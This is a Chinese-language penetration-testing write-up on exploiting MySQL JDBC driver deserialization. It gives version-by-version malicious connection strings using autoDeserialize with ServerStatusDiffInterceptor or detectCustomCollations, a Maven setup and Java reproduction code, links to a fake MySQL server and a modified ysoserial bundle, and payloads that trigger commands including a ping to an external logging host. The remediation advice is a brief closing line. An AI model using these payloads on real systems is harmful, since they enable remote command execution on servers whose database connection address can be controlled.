前言
目前市面上出现的JDBC反序列化为MYSQL数据库。
想要找到利用点的话,大概就是这样,对于这种页面的渗透有两种思路
一是mysql恶意服务端文件读取
对于文件不可读取的时候有人提出了这种建议
二是mysql jdbc反序列化
条件:
1、需要客户端存在JDBC包且开放Mysql可控地址的功能
2、本地存在Gadget commons-collection
可以看到主要需要三个参数
jdbc:mysql://127.0.0.1:3306/mysql?user=root&pass=root
在实际的Web应用的话,我们也只需要注意这三个参数就好了
1、address jdbc:mysql://xx.xx.xx.xx:3306/mysql
2、user
3、pass(实际上并不需要用到)
利用的时候还需要注意jdbc这个第三方库的版本,我们是看不到的,只能猜测,根据版本使用对应的payload,利用链有两个触发点。
测MySQL JDBC Connector 5.1.x的版本需要在连接串中加一个maxAllowedPacket=655360属性,否则会报错(经过测试,好像加了也会报错,但是报错不影响命令执行)
ServerStatusDiffInterceptor触发
- **8.x:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc- **6.x(属性名不同):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc- **5.1.11及以上的5.x版本(包名没有了cj):** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=655360&user=yso_JRE8u20_calc- **5.1.10及以下的5.1.X版本:** 同上,但是需要连接后执行查询。- **5.0.x:** 还没有ServerStatusDiffInterceptor,不可用
detectCustomCollations触发:
- **5.1.41及以上:** 不可用- **5.1.29-5.1.40:** jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc- **5.1.28-5.1.19:** jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc- **5.1.18以下的5.1.x版本:** 不可用- **5.0.x 版本:**不可用
大概原理就是JDBC在连接的时候会默认发起两个SQL语句查询,这两个查询会调用反序列化,反序列值包含恶意payload,在目标环境有可利用的gadget就可以实现命令执行了
复现
利用主要依托于的工具为https://github.com/fnmsd/MySQL_Fake_Server
pom.xml
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>jdbc-deser</groupId><artifactId>jdbc-deser</artifactId><version>1.0-SNAPSHOT</version><dependencies><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.14</version></dependency><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency></dependencies></project>
服务器端代码JDBC 8.x
import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.SQLOutput;public class mysqljdbc {public static void main(String[] args) throws Exception{String driver = "com.mysql.cj.jdbc.Driver";String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_calc";//8.x使用Class.forName(driver);Connection conn = DriverManager.getConnection(DB_URL);DatabaseMetaData dbmd=conn.getMetaData();System.out.println(dbmd.getDriverVersion());}}
根据实际场景来修改user字段,如CommonsCollections5可以改成CommonsCollections6,JRE8u20,CommonsCollections11。这个就要依托于修改过的yso这个工具的强大了,这个工具修改成啥样,就能多样化攻击执行命令。
P喵呜大佬改过的版本,内置的Yso可以直接用https://www.yuque.com/attachments/yuque/0/2021/zip/297422/1617096871598-6f6c0957-9540-4af8-9a6b-17a4fd5c4d42.zip
user=yso_CommonsCollections11_ping 06954c72.toxiclog.xyz 测试经过可以成功
服务器端代码JDBC 5.x
<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>5.1.29</version></dependency>
public class mysqljdbc {public static void main(String[] args) throws Exception{String driver = "com.mysql.jdbc.Driver";String DB_URL = "jdbc:mysql://127.0.0.1:3307/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections11_ping dae2457e.toxiclog.xyz";//5.x使用Class.forName(driver);Connection conn = DriverManager.getConnection(DB_URL);DatabaseMetaData dbmd=conn.getMetaData();System.out.println(dbmd.getDriverVersion());}}

经过测试
detectCustomCollations 的利用链会执行命令一次,且服务端产生报错
ServerStatusDiffInterceptor 利用链在5.x版本会执行命令10次,且服务端不报错
修复:
可以引入IP白名单机制
JDBC 21版本以上被修复了该漏洞好像。
